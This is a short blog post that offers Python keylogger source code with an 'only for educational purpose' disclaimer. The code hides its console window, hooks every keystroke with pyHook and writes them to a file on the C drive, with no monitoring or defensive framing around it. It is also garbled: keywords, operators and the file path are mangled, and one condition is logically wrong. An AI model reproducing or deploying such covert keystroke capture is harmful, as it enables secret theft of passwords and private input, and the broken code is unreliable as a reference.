This is only for educational purpose , i am not responsible for any kind of things ..
import WIN32API
import win32console import win32gui import pythoncom, pyHook win32console.GetConsoleWindow win = () win32gui.ShowWindow (win, 0) final OnKeyboardEvent (event): if event.Ascii == 5: _exit (1) if event.Ascii! = 0 or 8: f = open ( 'c: \ output.txt', 'r') buffer = f.read () f.close () f = open ( 'c: \ output.txt', 'w') keylogs = chr (event.Ascii) if event.Ascii == 13: keylogs = '/ n' buffer + = keylogs f.write (buffer) f.close () hm = pyHook.HookManager () hm.KeyDown = OnKeyboardEvent hm.HookKeyboard () pythoncom.PumpMessages () |
0 comments:
Post a Comment